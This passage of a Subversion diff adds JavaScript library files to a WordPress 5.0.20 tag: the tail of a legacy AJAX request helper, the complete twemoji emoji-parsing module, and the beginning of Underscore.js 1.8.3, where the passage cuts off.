+					switch (self.xmlhttp.readyState) {
+						case 1:
+							self.onLoading();
+							break;
+						case 2:
+							self.onLoaded();
+							break;
+						case 3:
+							self.onInteractive();
+							break;
+						case 4:
+							self.response = self.xmlhttp.responseText;
+							self.responseXML = self.xmlhttp.responseXML;
+							self.responseStatus[0] = self.xmlhttp.status;
+							self.responseStatus[1] = self.xmlhttp.statusText;
+
+							if (self.execute) {
+								self.runResponse();
+							}
+
+							if (self.elementObj) {
+								elemNodeName = self.elementObj.nodeName;
+								elemNodeName.toLowerCase();
+								if (elemNodeName == "input"
+								|| elemNodeName == "select"
+								|| elemNodeName == "option"
+								|| elemNodeName == "textarea") {
+									self.elementObj.value = self.response;
+								} else {
+									self.elementObj.innerHTML = self.response;
+								}
+							}
+							if (self.responseStatus[0] == "200") {
+								self.onCompletion();
+							} else {
+								self.onError();
+							}
+
+							self.URLString = "";
+							break;
+					}
+				};
+
+				this.xmlhttp.send(this.URLString);
+			}
+		}
+	};
+
+	this.reset();
+	this.createAJAX();
+}
Index: /tags/5.0.20/src/wp-includes/js/twemoji.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/twemoji.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/twemoji.js	(revision 56912)
@@ -0,0 +1,568 @@
+/*jslint indent: 2, browser: true, bitwise: true, plusplus: true */
+var twemoji = (function (
+  /*! Copyright Twitter Inc. and other contributors. Licensed under MIT *//*
+    https://github.com/twitter/twemoji/blob/gh-pages/LICENSE
+  */
+
+  // WARNING:   this file is generated automatically via
+  //            `node twemoji-generator.js`
+  //            please update its `createTwemoji` function
+  //            at the bottom of the same file instead.
+
+) {
+  'use strict';
+
+  /*jshint maxparams:4 */
+
+  var
+    // the exported module object
+    twemoji = {
+
+
+    /////////////////////////
+    //      properties     //
+    /////////////////////////
+
+      // default assets url, by default will be Twitter Inc. CDN
+      base: 'https://twemoji.maxcdn.com/2/',
+
+      // default assets file extensions, by default '.png'
+      ext: '.png',
+
+      // default assets/folder size, by default "72x72"
+      // available via Twitter CDN: 72
+      size: '72x72',
+
+      // default class name, by default 'emoji'
+      className: 'emoji',
+
+      // basic utilities / helpers to convert code points
+      // to JavaScript surrogates and vice versa
+      convert: {
+
+        /**
+         * Given an HEX codepoint, returns UTF16 surrogate pairs.
+         *
+         * @param   string  generic codepoint, i.e. '1F4A9'
+         * @return  string  codepoint transformed into utf16 surrogates pair,
+         *          i.e. \uD83D\uDCA9
+         *
+         * @example
+         *  twemoji.convert.fromCodePoint('1f1e8');
+         *  // "\ud83c\udde8"
+         *
+         *  '1f1e8-1f1f3'.split('-').map(twemoji.convert.fromCodePoint).join('')
+         *  // "\ud83c\udde8\ud83c\uddf3"
+         */
+        fromCodePoint: fromCodePoint,
+
+        /**
+         * Given UTF16 surrogate pairs, returns the equivalent HEX codepoint.
+         *
+         * @param   string  generic utf16 surrogates pair, i.e. \uD83D\uDCA9
+         * @param   string  optional separator for double code points, default='-'
+         * @return  string  utf16 transformed into codepoint, i.e. '1F4A9'
+         *
+         * @example
+         *  twemoji.convert.toCodePoint('\ud83c\udde8\ud83c\uddf3');
+         *  // "1f1e8-1f1f3"
+         *
+         *  twemoji.convert.toCodePoint('\ud83c\udde8\ud83c\uddf3', '~');
+         *  // "1f1e8~1f1f3"
+         */
+        toCodePoint: toCodePoint
+      },
+
+
+    /////////////////////////
+    //       methods       //
+    /////////////////////////
+
+      /**
+       * User first: used to remove missing images
+       * preserving the original text intent when
+       * a fallback for network problems is desired.
+       * Automatically added to Image nodes via DOM
+       * It could be recycled for string operations via:
+       *  $('img.emoji').on('error', twemoji.onerror)
+       */
+      onerror: function onerror() {
+        if (this.parentNode) {
+          this.parentNode.replaceChild(createText(this.alt, false), this);
+        }
+      },
+
+      /**
+       * Main method/logic to generate either <img> tags or HTMLImage nodes.
+       *  "emojify" a generic text or DOM Element.
+       *
+       * @overloads
+       *
+       * String replacement for `innerHTML` or server side operations
+       *  twemoji.parse(string);
+       *  twemoji.parse(string, Function);
+       *  twemoji.parse(string, Object);
+       *
+       * HTMLElement tree parsing for safer operations over existing DOM
+       *  twemoji.parse(HTMLElement);
+       *  twemoji.parse(HTMLElement, Function);
+       *  twemoji.parse(HTMLElement, Object);
+       *
+       * @param   string|HTMLElement  the source to parse and enrich with emoji.
+       *
+       *          string              replace emoji matches with <img> tags.
+       *                              Mainly used to inject emoji via `innerHTML`
+       *                              It does **not** parse the string or validate it,
+       *                              it simply replaces found emoji with a tag.
+       *                              NOTE: be sure this won't affect security.
+       *
+       *          HTMLElement         walk through the DOM tree and find emoji
+       *                              that are inside **text node only** (nodeType === 3)
+       *                              Mainly used to put emoji in already generated DOM
+       *                              without compromising surrounding nodes and
+       *                              **avoiding** the usage of `innerHTML`.
+       *                              NOTE: Using DOM elements instead of strings should
+       *                              improve security without compromising too much
+       *                              performance compared with a less safe `innerHTML`.
+       *
+       * @param   Function|Object  [optional]
+       *                              either the callback that will be invoked or an object
+       *                              with all properties to use per each found emoji.
+       *
+       *          Function            if specified, this will be invoked per each emoji
+       *                              that has been found through the RegExp except
+       *                              those follwed by the invariant \uFE0E ("as text").
+       *                              Once invoked, parameters will be:
+       *
+       *                                iconId:string     the lower case HEX code point
+       *                                                  i.e. "1f4a9"
+       *
+       *                                options:Object    all info for this parsing operation
+       *
+       *                                variant:char      the optional \uFE0F ("as image")
+       *                                                  variant, in case this info
+       *                                                  is anyhow meaningful.
+       *                                                  By default this is ignored.
+       *
+       *                              If such callback will return a falsy value instead
+       *                              of a valid `src` to use for the image, nothing will
+       *                              actually change for that specific emoji.
+       *
+       *
+       *          Object              if specified, an object containing the following properties
+       *
+       *            callback   Function  the callback to invoke per each found emoji.
+       *            base       string    the base url, by default twemoji.base
+       *            ext        string    the image extension, by default twemoji.ext
+       *            size       string    the assets size, by default twemoji.size
+       *
+       * @example
+       *
+       *  twemoji.parse("I \u2764\uFE0F emoji!");
+       *  // I <img class="emoji" draggable="false" alt="❤️" src="/assets/2764.gif"/> emoji!
+       *
+       *
+       *  twemoji.parse("I \u2764\uFE0F emoji!", function(iconId, options) {
+       *    return '/assets/' + iconId + '.gif';
+       *  });
+       *  // I <img class="emoji" draggable="false" alt="❤️" src="/assets/2764.gif"/> emoji!
+       *
+       *
+       * twemoji.parse("I \u2764\uFE0F emoji!", {
+       *   size: 72,
+       *   callback: function(iconId, options) {
+       *     return '/assets/' + options.size + '/' + iconId + options.ext;
+       *   }
+       * });
+       *  // I <img class="emoji" draggable="false" alt="❤️" src="/assets/72x72/2764.png"/> emoji!
+       *
+       */
+      parse: parse,
+
+      /**
+       * Given a string, invokes the callback argument
+       *  per each emoji found in such string.
+       * This is the most raw version used by
+       *  the .parse(string) method itself.
+       *
+       * @param   string    generic string to parse
+       * @param   Function  a generic callback that will be
+       *                    invoked to replace the content.
+       *                    This calback wil receive standard
+       *                    String.prototype.replace(str, callback)
+       *                    arguments such:
+       *  callback(
+       *    rawText,  // the emoji match
+       *  );
+       *
+       *                    and others commonly received via replace.
+       */
+      replace: replace,
+
+      /**
+       * Simplify string tests against emoji.
+       *
+       * @param   string  some text that might contain emoji
+       * @return  boolean true if any emoji was found, false otherwise.
+       *
+       * @example
+       *
+       *  if (twemoji.test(someContent)) {
+       *    console.log("emoji All The Things!");
+       *  }
+       */
+      test: test
+    },
+
+    // used to escape HTML special chars in attributes
+    escaper = {
+      '&': '&amp;',
+      '<': '&lt;',
+      '>': '&gt;',
+      "'": '&#39;',
+      '"': '&quot;'
+    },
+
+    // RegExp based on emoji's official Unicode standards
+    // http://www.unicode.org/Public/UNIDATA/EmojiSources.txt
+    re = /(?:\ud83d[\udc68\udc69])(?:\ud83c[\udffb-\udfff])?\u200d(?:\u2695\ufe0f|\u2696\ufe0f|\u2708\ufe0f|\ud83c[\udf3e\udf73\udf93\udfa4\udfa8\udfeb\udfed]|\ud83d[\udcbb\udcbc\udd27\udd2c\ude80\ude92]|\ud83e[\uddb0-\uddb3])|(?:\ud83c[\udfcb\udfcc]|\ud83d[\udd74\udd75]|\u26f9)((?:\ud83c[\udffb-\udfff]|\ufe0f)\u200d[\u2640\u2642]\ufe0f)|(?:\ud83c[\udfc3\udfc4\udfca]|\ud83d[\udc6e\udc71\udc73\udc77\udc81\udc82\udc86\udc87\ude45-\ude47\ude4b\ude4d\ude4e\udea3\udeb4-\udeb6]|\ud83e[\udd26\udd35\udd37-\udd39\udd3d\udd3e\uddb8\uddb9\uddd6-\udddd])(?:\ud83c[\udffb-\udfff])?\u200d[\u2640\u2642]\ufe0f|(?:\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68|\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d[\udc68\udc69]|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc68|\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d[\udc68\udc69]|\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83c\udff3\ufe0f\u200d\ud83c\udf08|\ud83c\udff4\u200d\u2620\ufe0f|\ud83d\udc41\u200d\ud83d\udde8|\ud83d\udc68\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83d\udc6f\u200d\u2640\ufe0f|\ud83d\udc6f\u200d\u2642\ufe0f|\ud83e\udd3c\u200d\u2640\ufe0f|\ud83e\udd3c\u200d\u2642\ufe0f|\ud83e\uddde\u200d\u2640\ufe0f|\ud83e\uddde\u200d\u2642\ufe0f|\ud83e\udddf\u200d\u2640\ufe0f|\ud83e\udddf\u200d\u2642\ufe0f)|[\u0023\u002a\u0030-\u0039]\ufe0f?\u20e3|(?:[\u00a9\u00ae\u2122\u265f]\ufe0f)|(?:\ud83c[\udc04\udd70\udd71\udd7e\udd7f\ude02\ude1a\ude2f\ude37\udf21\udf24-\udf2c\udf36\udf7d\udf96\udf97\udf99-\udf9b\udf9e\udf9f\udfcd\udfce\udfd4-\udfdf\udff3\udff5\udff7]|\ud83d[\udc3f\udc41\udcfd\udd49\udd4a\udd6f\udd70\udd73\udd76-\udd79\udd87\udd8a-\udd8d\udda5\udda8\uddb1\uddb2\uddbc\uddc2-\uddc4\uddd1-\uddd3\udddc-\uddde\udde1\udde3\udde8\uddef\uddf3\uddfa\udecb\udecd-\udecf\udee0-\udee5\udee9\udef0\udef3]|[\u203c\u2049\u2139\u2194-\u2199\u21a9\u21aa\u231a\u231b\u2328\u23cf\u23ed-\u23ef\u23f1\u23f2\u23f8-\u23fa\u24c2\u25aa\u25ab\u25b6\u25c0\u25fb-\u25fe\u2600-\u2604\u260e\u2611\u2614\u2615\u2618\u2620\u2622\u2623\u2626\u262a\u262e\u262f\u2638-\u263a\u2640\u2642\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267b\u267f\u2692-\u2697\u2699\u269b\u269c\u26a0\u26a1\u26aa\u26ab\u26b0\u26b1\u26bd\u26be\u26c4\u26c5\u26c8\u26cf\u26d1\u26d3\u26d4\u26e9\u26ea\u26f0-\u26f5\u26f8\u26fa\u26fd\u2702\u2708\u2709\u270f\u2712\u2714\u2716\u271d\u2721\u2733\u2734\u2744\u2747\u2757\u2763\u2764\u27a1\u2934\u2935\u2b05-\u2b07\u2b1b\u2b1c\u2b50\u2b55\u3030\u303d\u3297\u3299])(?:\ufe0f|(?!\ufe0e))|(?:(?:\ud83c[\udfcb\udfcc]|\ud83d[\udd74\udd75\udd90]|[\u261d\u26f7\u26f9\u270c\u270d])(?:\ufe0f|(?!\ufe0e))|(?:\ud83c[\udf85\udfc2-\udfc4\udfc7\udfca]|\ud83d[\udc42\udc43\udc46-\udc50\udc66-\udc69\udc6e\udc70-\udc78\udc7c\udc81-\udc83\udc85-\udc87\udcaa\udd7a\udd95\udd96\ude45-\ude47\ude4b-\ude4f\udea3\udeb4-\udeb6\udec0\udecc]|\ud83e[\udd18-\udd1c\udd1e\udd1f\udd26\udd30-\udd39\udd3d\udd3e\uddb5\uddb6\uddb8\uddb9\uddd1-\udddd]|[\u270a\u270b]))(?:\ud83c[\udffb-\udfff])?|(?:\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f|\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc73\udb40\udc63\udb40\udc74\udb40\udc7f|\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc77\udb40\udc6c\udb40\udc73\udb40\udc7f|\ud83c\udde6\ud83c[\udde8-\uddec\uddee\uddf1\uddf2\uddf4\uddf6-\uddfa\uddfc\uddfd\uddff]|\ud83c\udde7\ud83c[\udde6\udde7\udde9-\uddef\uddf1-\uddf4\uddf6-\uddf9\uddfb\uddfc\uddfe\uddff]|\ud83c\udde8\ud83c[\udde6\udde8\udde9\uddeb-\uddee\uddf0-\uddf5\uddf7\uddfa-\uddff]|\ud83c\udde9\ud83c[\uddea\uddec\uddef\uddf0\uddf2\uddf4\uddff]|\ud83c\uddea\ud83c[\udde6\udde8\uddea\uddec\udded\uddf7-\uddfa]|\ud83c\uddeb\ud83c[\uddee-\uddf0\uddf2\uddf4\uddf7]|\ud83c\uddec\ud83c[\udde6\udde7\udde9-\uddee\uddf1-\uddf3\uddf5-\uddfa\uddfc\uddfe]|\ud83c\udded\ud83c[\uddf0\uddf2\uddf3\uddf7\uddf9\uddfa]|\ud83c\uddee\ud83c[\udde8-\uddea\uddf1-\uddf4\uddf6-\uddf9]|\ud83c\uddef\ud83c[\uddea\uddf2\uddf4\uddf5]|\ud83c\uddf0\ud83c[\uddea\uddec-\uddee\uddf2\uddf3\uddf5\uddf7\uddfc\uddfe\uddff]|\ud83c\uddf1\ud83c[\udde6-\udde8\uddee\uddf0\uddf7-\uddfb\uddfe]|\ud83c\uddf2\ud83c[\udde6\udde8-\udded\uddf0-\uddff]|\ud83c\uddf3\ud83c[\udde6\udde8\uddea-\uddec\uddee\uddf1\uddf4\uddf5\uddf7\uddfa\uddff]|\ud83c\uddf4\ud83c\uddf2|\ud83c\uddf5\ud83c[\udde6\uddea-\udded\uddf0-\uddf3\uddf7-\uddf9\uddfc\uddfe]|\ud83c\uddf6\ud83c\udde6|\ud83c\uddf7\ud83c[\uddea\uddf4\uddf8\uddfa\uddfc]|\ud83c\uddf8\ud83c[\udde6-\uddea\uddec-\uddf4\uddf7-\uddf9\uddfb\uddfd-\uddff]|\ud83c\uddf9\ud83c[\udde6\udde8\udde9\uddeb-\udded\uddef-\uddf4\uddf7\uddf9\uddfb\uddfc\uddff]|\ud83c\uddfa\ud83c[\udde6\uddec\uddf2\uddf3\uddf8\uddfe\uddff]|\ud83c\uddfb\ud83c[\udde6\udde8\uddea\uddec\uddee\uddf3\uddfa]|\ud83c\uddfc\ud83c[\uddeb\uddf8]|\ud83c\uddfd\ud83c\uddf0|\ud83c\uddfe\ud83c[\uddea\uddf9]|\ud83c\uddff\ud83c[\udde6\uddf2\uddfc]|\ud83c[\udccf\udd8e\udd91-\udd9a\udde6-\uddff\ude01\ude32-\ude36\ude38-\ude3a\ude50\ude51\udf00-\udf20\udf2d-\udf35\udf37-\udf7c\udf7e-\udf84\udf86-\udf93\udfa0-\udfc1\udfc5\udfc6\udfc8\udfc9\udfcf-\udfd3\udfe0-\udff0\udff4\udff8-\udfff]|\ud83d[\udc00-\udc3e\udc40\udc44\udc45\udc51-\udc65\udc6a-\udc6d\udc6f\udc79-\udc7b\udc7d-\udc80\udc84\udc88-\udca9\udcab-\udcfc\udcff-\udd3d\udd4b-\udd4e\udd50-\udd67\udda4\uddfb-\ude44\ude48-\ude4a\ude80-\udea2\udea4-\udeb3\udeb7-\udebf\udec1-\udec5\uded0-\uded2\udeeb\udeec\udef4-\udef9]|\ud83e[\udd10-\udd17\udd1d\udd20-\udd25\udd27-\udd2f\udd3a\udd3c\udd40-\udd45\udd47-\udd70\udd73-\udd76\udd7a\udd7c-\udda2\uddb4\uddb7\uddc0-\uddc2\uddd0\uddde-\uddff]|[\u23e9-\u23ec\u23f0\u23f3\u267e\u26ce\u2705\u2728\u274c\u274e\u2753-\u2755\u2795-\u2797\u27b0\u27bf\ue50a])|\ufe0f/g,
+
+    // avoid runtime RegExp creation for not so smart,
+    // not JIT based, and old browsers / engines
+    UFE0Fg = /\uFE0F/g,
+
+    // avoid using a string literal like '\u200D' here because minifiers expand it inline
+    U200D = String.fromCharCode(0x200D),
+
+    // used to find HTML special chars in attributes
+    rescaper = /[&<>'"]/g,
+
+    // nodes with type 1 which should **not** be parsed
+    shouldntBeParsed = /^(?:iframe|noframes|noscript|script|select|style|textarea)$/,
+
+    // just a private shortcut
+    fromCharCode = String.fromCharCode;
+
+  return twemoji;
+
+
+  /////////////////////////
+  //  private functions  //
+  //     declaration     //
+  /////////////////////////
+
+  /**
+   * Shortcut to create text nodes
+   * @param   string  text used to create DOM text node
+   * @return  Node  a DOM node with that text
+   */
+  function createText(text, clean) {
+    return document.createTextNode(clean ? text.replace(UFE0Fg, '') : text);
+  }
+
+  /**
+   * Utility function to escape html attribute text
+   * @param   string  text use in HTML attribute
+   * @return  string  text encoded to use in HTML attribute
+   */
+  function escapeHTML(s) {
+    return s.replace(rescaper, replacer);
+  }
+
+  /**
+   * Default callback used to generate emoji src
+   *  based on Twitter CDN
+   * @param   string    the emoji codepoint string
+   * @param   string    the default size to use, i.e. "36x36"
+   * @return  string    the image source to use
+   */
+  function defaultImageSrcGenerator(icon, options) {
+    return ''.concat(options.base, options.size, '/', icon, options.ext);
+  }
+
+  /**
+   * Given a generic DOM nodeType 1, walk through all children
+   * and store every nodeType 3 (#text) found in the tree.
+   * @param   Element a DOM Element with probably some text in it
+   * @param   Array the list of previously discovered text nodes
+   * @return  Array same list with new discovered nodes, if any
+   */
+  function grabAllTextNodes(node, allText) {
+    var
+      childNodes = node.childNodes,
+      length = childNodes.length,
+      subnode,
+      nodeType;
+    while (length--) {
+      subnode = childNodes[length];
+      nodeType = subnode.nodeType;
+      // parse emoji only in text nodes
+      if (nodeType === 3) {
+        // collect them to process emoji later
+        allText.push(subnode);
+      }
+      // ignore all nodes that are not type 1, that are svg, or that
+      // should not be parsed as script, style, and others
+      else if (nodeType === 1 && !('ownerSVGElement' in subnode) &&
+          !shouldntBeParsed.test(subnode.nodeName.toLowerCase())) {
+        grabAllTextNodes(subnode, allText);
+      }
+    }
+    return allText;
+  }
+
+  /**
+   * Used to both remove the possible variant
+   *  and to convert utf16 into code points.
+   *  If there is a zero-width-joiner (U+200D), leave the variants in.
+   * @param   string    the raw text of the emoji match
+   * @return  string    the code point
+   */
+  function grabTheRightIcon(rawText) {
+    // if variant is present as \uFE0F
+    return toCodePoint(rawText.indexOf(U200D) < 0 ?
+      rawText.replace(UFE0Fg, '') :
+      rawText
+    );
+  }
+
+  /**
+   * DOM version of the same logic / parser:
+   *  emojify all found sub-text nodes placing images node instead.
+   * @param   Element   generic DOM node with some text in some child node
+   * @param   Object    options  containing info about how to parse
+    *
+    *            .callback   Function  the callback to invoke per each found emoji.
+    *            .base       string    the base url, by default twemoji.base
+    *            .ext        string    the image extension, by default twemoji.ext
+    *            .size       string    the assets size, by default twemoji.size
+    *
+   * @return  Element same generic node with emoji in place, if any.
+   */
+  function parseNode(node, options) {
+    var
+      allText = grabAllTextNodes(node, []),
+      length = allText.length,
+      attrib,
+      attrname,
+      modified,
+      fragment,
+      subnode,
+      text,
+      match,
+      i,
+      index,
+      img,
+      rawText,
+      iconId,
+      src;
+    while (length--) {
+      modified = false;
+      fragment = document.createDocumentFragment();
+      subnode = allText[length];
+      text = subnode.nodeValue;
+      i = 0;
+      while ((match = re.exec(text))) {
+        index = match.index;
+        if (index !== i) {
+          fragment.appendChild(
+            createText(text.slice(i, index), true)
+          );
+        }
+        rawText = match[0];
+        iconId = grabTheRightIcon(rawText);
+        i = index + rawText.length;
+        src = options.callback(iconId, options);
+        if (src) {
+          img = new Image();
+          img.onerror = options.onerror;
+          img.setAttribute('draggable', 'false');
+          attrib = options.attributes(rawText, iconId);
+          for (attrname in attrib) {
+            if (
+              attrib.hasOwnProperty(attrname) &&
+              // don't allow any handlers to be set + don't allow overrides
+              attrname.indexOf('on') !== 0 &&
+              !img.hasAttribute(attrname)
+            ) {
+              img.setAttribute(attrname, attrib[attrname]);
+            }
+          }
+          img.className = options.className;
+          img.alt = rawText;
+          img.src = src;
+          modified = true;
+          fragment.appendChild(img);
+        }
+        if (!img) fragment.appendChild(createText(rawText, false));
+        img = null;
+      }
+      // is there actually anything to replace in here ?
+      if (modified) {
+        // any text left to be added ?
+        if (i < text.length) {
+          fragment.appendChild(
+            createText(text.slice(i), true)
+          );
+        }
+        // replace the text node only, leave intact
+        // anything else surrounding such text
+        subnode.parentNode.replaceChild(fragment, subnode);
+      }
+    }
+    return node;
+  }
+
+  /**
+   * String/HTML version of the same logic / parser:
+   *  emojify a generic text placing images tags instead of surrogates pair.
+   * @param   string    generic string with possibly some emoji in it
+   * @param   Object    options  containing info about how to parse
+   *
+   *            .callback   Function  the callback to invoke per each found emoji.
+   *            .base       string    the base url, by default twemoji.base
+   *            .ext        string    the image extension, by default twemoji.ext
+   *            .size       string    the assets size, by default twemoji.size
+   *
+   * @return  the string with <img tags> replacing all found and parsed emoji
+   */
+  function parseString(str, options) {
+    return replace(str, function (rawText) {
+      var
+        ret = rawText,
+        iconId = grabTheRightIcon(rawText),
+        src = options.callback(iconId, options),
+        attrib,
+        attrname;
+      if (src) {
+        // recycle the match string replacing the emoji
+        // with its image counter part
+        ret = '<img '.concat(
+          'class="', options.className, '" ',
+          'draggable="false" ',
+          // needs to preserve user original intent
+          // when variants should be copied and pasted too
+          'alt="',
+          rawText,
+          '"',
+          ' src="',
+          src,
+          '"'
+        );
+        attrib = options.attributes(rawText, iconId);
+        for (attrname in attrib) {
+          if (
+            attrib.hasOwnProperty(attrname) &&
+            // don't allow any handlers to be set + don't allow overrides
+            attrname.indexOf('on') !== 0 &&
+            ret.indexOf(' ' + attrname + '=') === -1
+          ) {
+            ret = ret.concat(' ', attrname, '="', escapeHTML(attrib[attrname]), '"');
+          }
+        }
+        ret = ret.concat('/>');
+      }
+      return ret;
+    });
+  }
+
+  /**
+   * Function used to actually replace HTML special chars
+   * @param   string  HTML special char
+   * @return  string  encoded HTML special char
+   */
+  function replacer(m) {
+    return escaper[m];
+  }
+
+  /**
+   * Default options.attribute callback
+   * @return  null
+   */
+  function returnNull() {
+    return null;
+  }
+
+  /**
+   * Given a generic value, creates its squared counterpart if it's a number.
+   *  As example, number 36 will return '36x36'.
+   * @param   any     a generic value.
+   * @return  any     a string representing asset size, i.e. "36x36"
+   *                  only in case the value was a number.
+   *                  Returns initial value otherwise.
+   */
+  function toSizeSquaredAsset(value) {
+    return typeof value === 'number' ?
+      value + 'x' + value :
+      value;
+  }
+
+
+  /////////////////////////
+  //  exported functions //
+  //     declaration     //
+  /////////////////////////
+
+  function fromCodePoint(codepoint) {
+    var code = typeof codepoint === 'string' ?
+          parseInt(codepoint, 16) : codepoint;
+    if (code < 0x10000) {
+      return fromCharCode(code);
+    }
+    code -= 0x10000;
+    return fromCharCode(
+      0xD800 + (code >> 10),
+      0xDC00 + (code & 0x3FF)
+    );
+  }
+
+  function parse(what, how) {
+    if (!how || typeof how === 'function') {
+      how = {callback: how};
+    }
+    // if first argument is string, inject html <img> tags
+    // otherwise use the DOM tree and parse text nodes only
+    return (typeof what === 'string' ? parseString : parseNode)(what, {
+      callback:   how.callback || defaultImageSrcGenerator,
+      attributes: typeof how.attributes === 'function' ? how.attributes : returnNull,
+      base:       typeof how.base === 'string' ? how.base : twemoji.base,
+      ext:        how.ext || twemoji.ext,
+      size:       how.folder || toSizeSquaredAsset(how.size || twemoji.size),
+      className:  how.className || twemoji.className,
+      onerror:    how.onerror || twemoji.onerror
+    });
+  }
+
+  function replace(text, callback) {
+    return String(text).replace(re, callback);
+  }
+
+  function test(text) {
+    // IE6 needs a reset before too
+    re.lastIndex = 0;
+    var result = re.test(text);
+    re.lastIndex = 0;
+    return result;
+  }
+
+  function toCodePoint(unicodeSurrogates, sep) {
+    var
+      r = [],
+      c = 0,
+      p = 0,
+      i = 0;
+    while (i < unicodeSurrogates.length) {
+      c = unicodeSurrogates.charCodeAt(i++);
+      if (p) {
+        r.push((0x10000 + ((p - 0xD800) << 10) + (c - 0xDC00)).toString(16));
+        p = 0;
+      } else if (0xD800 <= c && c <= 0xDBFF) {
+        p = c;
+      } else {
+        r.push(c.toString(16));
+      }
+    }
+    return r.join(sep || '-');
+  }
+
+}());
Index: /tags/5.0.20/src/wp-includes/js/underscore.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/underscore.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/underscore.js	(revision 56912)
@@ -0,0 +1,1548 @@
+//     Underscore.js 1.8.3
+//     http://underscorejs.org
+//     (c) 2009-2015 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors
+//     Underscore may be freely distributed under the MIT license.
+
+(function() {
+
+  // Baseline setup
+  // --------------
+
+  // Establish the root object, `window` in the browser, or `exports` on the server.
+  var root = this;
+
+  // Save the previous value of the `_` variable.
+  var previousUnderscore = root._;
+
+  // Save bytes in the minified (but not gzipped) version:
+  var ArrayProto = Array.prototype, ObjProto = Object.prototype, FuncProto = Function.prototype;
+
+  // Create quick reference variables for speed access to core prototypes.
+  var
+    push             = ArrayProto.push,
+    slice            = ArrayProto.slice,
+    toString         = ObjProto.toString,
+    hasOwnProperty   = ObjProto.hasOwnProperty;
+
+  // All **ECMAScript 5** native function implementations that we hope to use
+  // are declared here.
+  var
+    nativeIsArray      = Array.isArray,
+    nativeKeys         = Object.keys,
+    nativeBind         = FuncProto.bind,
+    nativeCreate       = Object.create;
+
+  // Naked function reference for surrogate-prototype-swapping.
+  var Ctor = function(){};
+
+  // Create a safe reference to the Underscore object for use below.
+  var _ = function(obj) {
+    if (obj instanceof _) return obj;
+    if (!(this instanceof _)) return new _(obj);
+    this._wrapped = obj;
+  };
+
+  // Export the Underscore object for **Node.js**, with
+  // backwards-compatibility for the old `require()` API. If we're in
+  // the browser, add `_` as a global object.
+  if (typeof exports !== 'undefined') {
+    if (typeof module !== 'undefined' && module.exports) {
+      exports = module.exports = _;
+    }
+    exports._ = _;
+  } else {
+    root._ = _;
+  }
+
+  // Current version.
+  _.VERSION = '1.8.3';
+
+  // Internal function that returns an efficient (for current engines) version
+  // of the passed-in callback, to be repeatedly applied in other Underscore
+  // functions.
+  var optimizeCb = function(func, context, argCount) {
+    if (context === void 0) return func;
+    switch (argCount == null ? 3 : argCount) {
+      case 1: return function(value) {
+        return func.call(context, value);
+      };
+      case 2: return function(value, other) {
+        return func.call(context, value, other);
+      };
+      case 3: return function(value, index, collection) {
+        return func.call(context, value, index, collection);
+      };
+      case 4: return function(accumulator, value, index, collection) {
+        return func.call(context, accumulator, value, index, collection);
+      };
+    }
+    return function() {
+      return func.apply(context, arguments);
+    };
+  };
+
+  // A mostly-internal function to generate callbacks that can be applied
+  // to each element in a collection, returning the desired result — either
+  // identity, an arbitrary callback, a property matcher, or a property accessor.
+  var cb = function(value, context, argCount) {
+    if (value == null) return _.identity;
+    if (_.isFunction(value)) return optimizeCb(value, context, argCount);
+    if (_.isObject(value)) return _.matcher(value);
+    return _.property(value);
+  };
+  _.iteratee = function(value, context) {
+    return cb(value, context, Infinity);
+  };
+
+  // An internal function for creating assigner functions.
+  var createAssigner = function(keysFunc, undefinedOnly) {
+    return function(obj) {
+      var length = arguments.length;
+      if (length < 2 || obj == null) return obj;
+      for (var index = 1; index < length; index++) {
+        var source = arguments[index],
+            keys = keysFunc(source),
+            l = keys.length;
+        for (var i = 0; i < l; i++) {
+          var key = keys[i];
+          if (!undefinedOnly || obj[key] === void 0) obj[key] = source[key];
+        }
+      }
+      return obj;
+    };
+  };
+
+  // An internal function for creating a new object that inherits from another.
+  var baseCreate = function(prototype) {
+    if (!_.isObject(prototype)) return {};
+    if (nativeCreate) return nativeCreate(prototype);
+    Ctor.prototype = prototype;
+    var result = new Ctor;
+    Ctor.prototype = null;
+    return result;
+  };
+
+  var property = function(key) {
+    return function(obj) {
+      return obj == null ? void 0 : obj[key];
+    };
+  };
+
+  // Helper for collection methods to determine whether a collection
+  // should be iterated as an array or as an object
+  // Related: http://people.mozilla.org/~jorendorff/es6-draft.html#sec-tolength
+  // Avoids a very nasty iOS 8 JIT bug on ARM-64. #2094
+  var MAX_ARRAY_INDEX = Math.pow(2, 53) - 1;
+  var getLength = property('length');
+  var isArrayLike = function(collection) {
